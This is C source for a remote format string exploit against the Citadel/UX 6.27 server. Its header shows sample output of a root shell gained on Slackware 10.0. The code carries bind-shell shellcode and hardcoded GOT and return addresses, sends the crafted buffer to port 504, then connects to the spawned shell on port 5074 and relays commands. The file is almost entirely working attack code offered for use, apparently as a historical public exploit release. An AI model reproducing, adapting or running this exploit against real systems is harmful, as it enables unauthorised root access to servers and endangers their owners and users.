/* citadel_fsexp.c
 *
 * Citadel/UX v6.27 remote format string exploit
 *
 * Use: ./citadel_fsexp -h <host> [options]
 *
 * options:
 *        -h <arg>        host or IP
 *        -t <arg>        type of target system
 *        -l              targets list
 *        -g <arg>        syslog GOT address
 *        -r <arg>        RET address
 *
 * coki@nosystem:~/audit$ ./citadel_fsexp -h localhost -t0
 *
 * Citadel/UX v6.27 remote format string exploit
 * by CoKi <coki@nosystem.com.ar>
 *
 * [*] host                       : localhost
 * [*] system                     : Slackware Linux 10.0
 * [*] syslog GOT address         : 0x0809e9e8
 * [*] RET address                : 0xbfffd5fa
 *
 * [+] verifying host...          OK
 * [+] conecting...               OK
 * [+] building exploit...        OK
 * [+] sending exploit...         OK
 *
 * [+] waiting for shell...
 * [+] connecting to shell...     OK
 *
 * [!] you have a shell :)
 *
 * Linux nosystem 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
 *
 *
 * Tested in Slackware 10.0
 *    
 * by CoKi <coki@nosystem.com.ar>
 * No System Group - http://www.nosystem.com.ar
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define PORT 504
#define SHELL 5074

int connect_timeout(int sfd, struct sockaddr *serv_addr,
  socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);

char shellcode[] = /* 92 bytes by s0t4ipv6 */
  "\x31\xc0"      // xorl    %eax,%eax
  "\x50"        // pushl  %eax
  "\x40"        // incl    %eax
  "\x89\xc3"      // movl    %eax,%ebx
  "\x50"        // pushl  %eax
  "\x40"        // incl    %eax
  "\x50"        // pushl  %eax
  "\x89\xe1"      // movl    %esp,%ecx
  "\xb0\x66"      // movb    $0x66,%al
  "\xcd\x80"      // int    $0x80
  "\x31\xd2"      // xorl    %edx,%edx
  "\x52"        // pushl  %edx
  "\x66\x68\x13\xd2"    // pushw  $0xd213
  "\x43"        // incl    %ebx
  "\x66\x53"      // pushw  %bx
  "\x89\xe1"      // movl    %esp,%ecx
  "\x6a\x10"      // pushl  $0x10
  "\x51"        // pushl  %ecx
  "\x50"        // pushl  %eax
  "\x89\xe1"      // movl    %esp,%ecx
  "\xb0\x66"      // movb    $0x66,%al
  "\xcd\x80"      // int    $0x80
  "\x40"        // incl    %eax
  "\x89\x44\x24\x04"    // movl    %eax,0x4(%esp,1)
  "\x43"        // incl    %ebx
  "\x43"        // incl    %ebx
  "\xb0\x66"      // movb    $0x66,%al
  "\xcd\x80"      // int    $0x80
  "\x83\xc4\x0c"      // addl    $0xc,%esp
  "\x52"        // pushl  %edx
  "\x52"        // pushl  %edx
  "\x43"        // incl    %ebx
  "\xb0\x66"      // movb    $0x66,%al
  "\xcd\x80"      // int    $0x80
  "\x93"        // xchgl  %eax,%ebx
  "\x89\xd1"      // movl    %edx,%ecx
  "\xb0\x3f"      // movb    $0x3f,%al
  "\xcd\x80"      // int    $0x80
  "\x41"        // incl    %ecx
  "\x80\xf9\x03"      // cmpb    $0x3,%cl
  "\x75\xf6"      // jnz    <shellcode+0x40>
  "\x52"        // pushl  %edx
  "\x68\x6e\x2f\x73\x68"    // pushl  $0x68732f6e
  "\x68\x2f\x2f\x62\x69"    // pushl  $0x69622f2f
  "\x89\xe3"      // movl    %esp,%ebx
  "\x52"        // pushl  %edx
  "\x53"        // pushl  %ebx
  "\x89\xe1"      // movl    %esp,%ecx
  "\xb0\x0b"      // movb    $0xb,%al
  "\xcd\x80"      // int    $0x80
  ;

struct {
  char  *os;
  int  got;
  int  ret;
}targets[] =
  {"Slackware Linux 10.0", 0x0809e9e8, 0xbfffd5fa};

int main(int argc, char *argv[]) {
  char buffer[BUFFERSIZE], temp[BUFFERSIZE];
  char opt, *host=NULL, *system=NULL, *p;
  int sockfd, i, retaddr=0, gotaddr=0, targetnum=0;
  unsigned int bal1, bal2, bal3, bal4;
  int cn1, cn2, cn3, cn4;
  struct hostent *he;
  struct sockaddr_in dest_dir;

  printf("\n Citadel/UX v6.27 remote format string exploit\n");
  printf(" by CoKi <coki@nosystem.com.ar>\n\n");

  while ((opt = getopt(argc,argv,"h:g:r:t:l")) != EOF) {
    switch (opt) {
      case 'h':
        host = optarg;
        break;
      case 'g':
        gotaddr = strtoul(optarg,NULL,0);
        break;
      case 'r':
        retaddr = strtoul(optarg,NULL,0);
        break;
      case 't':
        targetnum = atoi(optarg);
        if(targetnum != 0) {
          printf(" invalid target number!\n\n");
          exit(0);
        }
        system = targets[targetnum].os;
        gotaddr = targets[targetnum].got;
        retaddr = targets[targetnum].ret;
        break;
      case 'l':
        printlist();
        break;
      default:
        use(argv[0]);
        break;
    }
  }

  if(host == NULL) use(argv[0]);
  if(gotaddr == 0 || retaddr == 0) use(argv[0]);
  if(system == NULL) system = "unknown";

  printf(" [*] host\t\t\t: %s\n", host);
  printf(" [*] system\t\t\t: %s\n", system);
  printf(" [*] syslog GOT address\t\t: %010p\n", gotaddr);
  printf(" [*] RET address\t\t: %010p\n\n", retaddr);
    
  printf(" [+] verifying host...\t\t");
  fflush(stdout);

  if((he=gethostbyname(host)) == NULL) {
    herror("Error");
    printf("\n");
    exit(1);
  } 
  
  printf("OK\n");

  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
    perror("Error");
    printf("\n");
    exit(1);
  }

  dest_dir.sin_family = AF_INET;
  dest_dir.sin_port = htons(PORT);
  dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(dest_dir.sin_zero), 8);

  printf(" [+] conecting...\t\t");
  fflush(stdout);
  
  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
    sizeof(struct sockaddr), TIMEOUT) == ERROR) {
    
    printf("Closed\n\n");
    exit(1);
  }

  printf("OK\n");
  
  printf(" [+] building evil buffer...\t");
  fflush(stdout);

  bzero(buffer, sizeof(buffer));
  strcat(buffer, "x");

  for(i = 0; i < 4; i++) {
    bzero(temp, sizeof(temp));
    sprintf(temp, "%s", &gotaddr);
    strncat(buffer, temp, 4);
    gotaddr++;
  }

  bal1 = (retaddr & 0xff000000) >> 24;
  bal2 = (retaddr & 0x00ff0000) >> 16;
  bal3 = (retaddr & 0x0000ff00) >>  8;
  bal4 = (retaddr & 0x000000ff);
  
  cn1 = bal4 - 16 - 1 - 15 - 50 - 92;
  cn1 = check(cn1);
  cn2 = bal3 - bal4;
  cn2 = check(cn2);
  cn3 = bal2 - bal3;
  cn3 = check(cn3);
  cn4 = bal1 - bal2;
  cn4 = check(cn4);

  p = buffer;
  p += 17;

  memset(p, '\x90', 50);

  strcat(buffer, shellcode);

  sprintf(temp, "%%%du%%27$n%%%du%%28$n%%%du%%29$n%%%du%%30$n", cn1, cn2, cn3, cn4);
                
  strcat(buffer, temp);
  bzero(temp, sizeof(temp));

  printf("OK\n");

  printf(" [+] sending evil buffer...\t");
  fflush(stdout);
  
  recv(sockfd, temp, sizeof(temp), 0);
  send(sockfd, buffer, strlen(buffer), 0);
  send(sockfd, "\n", 1, 0);
  close(sockfd);
  
  printf("OK\n\n");

  printf(" [+] waiting for shell...\n");
  fflush(stdout);
  sleep(2);

  shell(host, SHELL);
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
  socklen_t addrlen, int timeout) {

  int res, slen, flags;
  struct timeval tv;
  struct sockaddr_in addr;
  fd_set rdf, wrf;

  fcntl(sfd, F_SETFL, O_NONBLOCK);

  res = connect(sfd, serv_addr, addrlen);

  if (res >= 0) return res;

  FD_ZERO(&rdf);
  FD_ZERO(&wrf);

  FD_SET(sfd, &rdf);
  FD_SET(sfd, &wrf);
  bzero(&tv, sizeof(tv));
  tv.tv_sec = timeout;

  if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
    return -1;

  if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
    slen = sizeof(addr);
    if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
      return -1;

    flags = fcntl(sfd, F_GETFL, NULL);
    fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

    return 0;
  }

  return -1;
}

int check(unsigned long addr) {
  char tmp[128];
  snprintf(tmp, sizeof(tmp), "%d", addr);
  if(atoi(tmp) < 1)
    addr = addr + 256;
  
  return addr;
}

void use(char *program) {
  printf(" Use: %s -h <host> [options]\n", program);
  printf("\n options:\n");
  printf("  -h <arg>  host or IP\n");
  printf("  -t <arg>  type of target system\n");
  printf("  -l     targets list\n");
  printf("  -g <arg>  syslog GOT address\n");
  printf("  -r <arg>  RET address\n\n");
  exit(1);
}

void printlist(void) {
  printf(" targets\n");
  printf(" -------\n\n");
  printf(" [0] %s\n\n", targets[0].os);
  exit(0);
}

void shell(char *host, int port) {
  int sockfd, n;
  char buff[BUFFERSIZE];
  fd_set readfs;
  struct hostent *he;
  struct sockaddr_in dest_dir;

  printf(" [+] connecting to shell...\t");
  fflush(stdout);

  if((he=gethostbyname(host)) == NULL) {
    herror("Error");
    printf("\n");
    exit(1);
  } 

  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
    perror("Error");
    printf("\n");
    exit(1);
  }

  dest_dir.sin_family = AF_INET;
  dest_dir.sin_port = htons(port);
  dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(dest_dir.sin_zero), 8);

  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
    sizeof(struct sockaddr), TIMEOUT) == ERROR) {
    
    printf("Closed\n\n");
    printf(" [-] failed! perhaps the target has down...\n\n");
    exit(1);
  }

  printf("OK\n\n");

  printf(" [!] you have a shell :)\n\n");
  fflush(stdout);

  send(sockfd, "uname -a; id;\n", 14, 0);

  while(1) {
    FD_ZERO(&readfs);
    FD_SET(0, &readfs);
    FD_SET(sockfd, &readfs);
    if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
    if(FD_ISSET(0,&readfs)) {
      if((n = read(0,buff,sizeof(buff))) < 1)
      exit(0);
      if(send(sockfd, buff, n, 0) != n) exit(0);
    }
    if(FD_ISSET(sockfd,&readfs)) {
      if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
      write(1, buff, n);
    }
  }
}